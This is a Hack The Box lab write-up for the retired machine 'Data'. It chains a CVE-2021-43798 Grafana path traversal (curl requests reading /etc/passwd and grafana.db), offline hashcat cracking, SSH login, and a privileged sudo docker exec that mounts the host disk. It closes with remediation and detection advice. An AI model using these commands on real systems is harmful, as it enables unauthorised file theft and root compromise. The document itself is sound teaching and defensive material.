Data — Grafana Path Traversal to Docker Container Escape
- Tools
- rustscan, curl, sqlite3, hashcat, ssh, docker
- Skill demonstrated
- Web path traversal, credential recovery, and container escape
- Tags
At a glance
Section titled “At a glance”| Field | Value |
|---|---|
| Difficulty | Easy |
| Target environment | Linux host running Grafana 8.0.0 (Grafana process inside a container) |
| Starting position | Unauthenticated network access |
| Objective | Escalate from an unauthenticated Grafana file read to root on the host |
| Outcome | User SSH access and root-level host filesystem access via a privileged docker exec |
Summary
Section titled “Summary”Data is a retired Hack The Box Linux machine running Grafana 8.0.0. The release is vulnerable to CVE-2021-43798, an unauthenticated path traversal in Grafana plugin asset paths that reads arbitrary files; the most useful target is the Grafana SQLite database holding password hashes and salts. A cracked credential authenticates over SSH, and a permissive sudo rule for docker exec lets that user enter the Grafana container as root, mount the host filesystem, and reach root-owned files. Credential values, target addresses, and container identifiers are replaced with role-based placeholders; command syntax is preserved.
Attack path: Grafana 8.0.0 → CVE-2021-43798 path traversal → grafana.db exfiltration → offline hash cracking → SSH as boris → sudo docker exec into a privileged container → host filesystem mount → root
Context and Objective
Section titled “Context and Objective”- Target: a Linux host running Grafana 8.0.0 inside a container, with no patch applied.
- Exposed services: SSH (22) and Grafana HTTP (3000).
- Starting position: unauthenticated network access, with no provided credentials.
- Objective: move from an unauthenticated application file read to user access and root, and demonstrate the impact of an over-permissive container privilege rule.
- Constraints: activity was confined to the Hack The Box lab environment.
Approach and Evidence
Section titled “Approach and Evidence”1. Service Enumeration
Section titled “1. Service Enumeration”Observation: a full scan exposes two services, one of them the vulnerable Grafana release.
rustscan -a <TARGET_IP> --ulimit 5000 -- -Pn -sC -sV -oN <OUT_PREFIX>Truncated scan output:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.73000/tcp open http Grafana httpThe Grafana login page discloses the running build:
v8.0.0 (41f0542c1e)Significance: Grafana 8.0.0 is within the affected range for CVE-2021-43798, and SSH is the interactive access service the recovered credential will target.
Result: SSH and Grafana are identified, and the vulnerable Grafana version is confirmed from the login page without deeper fingerprinting.
2. CVE-2021-43798 — Grafana Path Traversal
Section titled “2. CVE-2021-43798 — Grafana Path Traversal”Observation: Grafana serves plugin static assets from public/plugins/<PLUGIN_ID>/ without normalizing ../ sequences, so a crafted path escapes the plugins directory and reads arbitrary files.
curl --path-as-is \ "http://<TARGET_IP>:3000/public/plugins/<PLUGIN_ID>/../../../../../../../../etc/passwd"The response returns the requested file:
root:x:0:0:root:/root:/bin/ashbin:x:1:1:bin:/bin:/sbin/nologin...Significance: the traversal needs no authentication, and the /bin/ash shell in the password entry indicates the Grafana process runs in an Alpine-based container. The application database is then retrieved through the same primitive:
curl -o grafana.db --path-as-is \ "http://<TARGET_IP>:3000/public/plugins/<PLUGIN_ID>/../../../../../../../../var/lib/grafana/grafana.db"Result: unauthenticated arbitrary file read is confirmed, and grafana.db is exfiltrated for offline analysis.
3. Grafana Database Analysis
Section titled “3. Grafana Database Analysis”Observation: Grafana stores local user records in the SQLite database, including the password verification material.
sqlite3 grafana.dbsqlite> .tablessqlite> select login,email,password,salt from user;The query returns records for two accounts (hash and salt values redacted):
admin | <ADMIN_HASH> | <ADMIN_SALT>boris | <BORIS_HASH> | <BORIS_SALT>Significance: Grafana derives these values with PBKDF2-SHA256, stored as sha256:10000:<base64 salt>:<base64 hash>, which matches Hashcat mode 10900 once the salt and hash are base64-encoded into that layout.
hashcat -m 10900 grafana.hash /usr/share/wordlists/rockyou.txtThe crack recovers one plaintext value:
boris:<BORIS_PASSWORD>Result: a credential for boris is recovered; authentication is confirmed in the next stage.
4. SSH Access
Section titled “4. SSH Access”Observation: SSH is exposed on port 22, and the recovered credential is reused against it.
ssh boris@<TARGET_IP>Authentication returns a shell:
boris@data:~$Significance: the credential recovered from grafana.db authenticates directly over SSH, confirming cross-service reuse of the same secret.
Result: an authenticated user-level shell as boris is obtained.
5. Privilege Escalation — Sudo Docker Rights
Section titled “5. Privilege Escalation — Sudo Docker Rights”Observation: the user’s sudo policy is inspected for delegable root commands.
sudo -lUser boris may run the following commands on localhost: (root) NOPASSWD: /snap/bin/docker exec *Significance: the rule grants passwordless docker exec as root. The target container name is recovered through the same path-traversal primitive:
curl --path-as-is \ "http://<TARGET_IP>:3000/public/plugins/<PLUGIN_ID>/../../../../../../../../etc/hostname"<CONTAINER_ID>Action, shown as placeholder patterns:
sudo /snap/bin/docker exec -u root --privileged -it <CONTAINER_ID> shfdisk -lmkdir /mnt/hostmount /dev/sda1 /mnt/hostThe source records the host root filesystem mounting successfully from inside the privileged container; no separate command output for the mount was captured.
Significance: a docker exec granted --privileged, reachable through the passwordless sudo rule, exposes the host block devices, so mounting them from the container gives read and write access to host-owned files.
Result: root-equivalent access to the host filesystem is obtained through the container.
Challenges and Decisions
Section titled “Challenges and Decisions”| Challenge | Decision | Rationale |
|---|---|---|
No host shell, but a sudo rule for docker exec |
Reused the path-traversal file read to obtain the container hostname, then targeted that container | The sudo rule applies to docker exec, so the running container identity had to be established first |
| Identifying the vulnerable Grafana release | Read the version banner from the login page | Grafana 8.0.0 is directly in the CVE-2021-43798 affected range, so no deeper fingerprinting was needed |
Outcome
Section titled “Outcome”The evidence establishes unauthenticated arbitrary file read through CVE-2021-43798, offline recovery of a Grafana credential that authenticates over SSH, and root-level access to the host filesystem through a privileged docker exec into the Grafana container. No further host privilege-escalation technique was required once the container was reachable under the delegated docker exec rule.
Lessons and Recommendations
Section titled “Lessons and Recommendations”The actions below are recommendations; none was validated in the lab. Each finding pairs the observed root cause with its demonstrated impact and a prioritized action.
- Vulnerable Grafana release. Grafana 8.0.0 ships within the CVE-2021-43798 affected range, allowing unauthenticated file read through plugin asset paths. Recommendation: upgrade to a patched release (8.0.7, 8.1.8, 8.2.7, or 8.3.1) and track the vendor advisory. Detection: alert on
../traversal sequences in requests topublic/plugins/. - Application secrets reachable in
grafana.db. Local user password hashes and salts could be exfiltrated and cracked offline. Recommendation: limit filesystem exposure from the web service, rotate affected credentials, and never reuse Grafana account passwords for SSH. Detection: monitor for large reads ofgrafana.dband for its retrieval by the Grafana service account. - Permissive
docker execsudo rule. Passwordlessdocker execas root, combined with a container holding host device access, yielded root on the host. Recommendation: do not allow--privilegedin the delegateddocker execor expose host device mounts. Detection: treat privilegeddocker exec *sudo grants and--privilegedcontainer starts as findings to review. - Container identifier disclosure via file read. The same traversal leaked the container hostname, enabling precise targeting of
docker exec. Recommendation: fixing the underlying traversal removes this reconnaissance step; restrict service account visibility into container metadata.
References
Section titled “References”- Hack The Box — Data (retired machine)
- NVD — CVE-2021-43798 (Grafana path traversal)
- Grafana Security Advisory — GHSA-8pjx-jj86-j47p (vendor advisory for CVE-2021-43798)
- Grafana — release with the CVE-2021-43798 fix (vendor fix announcement)
- RustScan (fast port scanner)
- curl — man page (HTTP client used for the path-traversal requests)
- SQLite — Command-Line Shell (
sqlite3interactive queries) - Hashcat (offline password cracking)
- OpenSSH — manual pages (SSH client)
- Docker — daemon access control (restrict access to the Docker daemon)